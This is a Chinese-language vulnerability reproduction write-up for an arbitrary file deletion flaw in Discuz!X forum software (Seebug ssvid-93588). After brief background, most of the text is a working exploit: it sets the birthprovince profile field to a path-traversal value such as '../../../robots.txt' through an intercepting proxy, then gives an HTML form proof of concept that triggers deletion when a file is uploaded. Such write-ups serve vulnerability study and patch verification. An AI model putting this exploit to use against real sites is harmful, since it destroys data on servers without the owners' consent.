Discuz!X社区软件,是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日,Discuz!修复了一个安全问题2用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
2017年9月29日,知道创宇404 实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞3,漏洞编号ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。
经过分析确认,原有的利用方式已经被修复,添加了对属性的formtype判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他unlink条件,实现任意文件删除漏洞。
首先访问我们的robots.txt
:(验证是否存在)
接着是注册了一个liuwx
,然后来到个人设置页面找到自己的formhash
:133dd9cc
请求这个页面保存然后抓包:
http://192.168.1.104/home.php?mod=spacecp&ac=profile&op=base
来到这个参数:birthprovince
,这个参数填写的是你要删除的文件,以robots.txt
为例:
接着Forward
:
提交成功后,从上图可以看到出生地
会显示../../../robots.txt
,也就是说明它待会要凉了咯~
<body>
<form action="http://[这里填写网站域名]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[这里填写刚刚得到的hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
把以上POC
保存为*.html
格式,然后打开上传任意一张图片: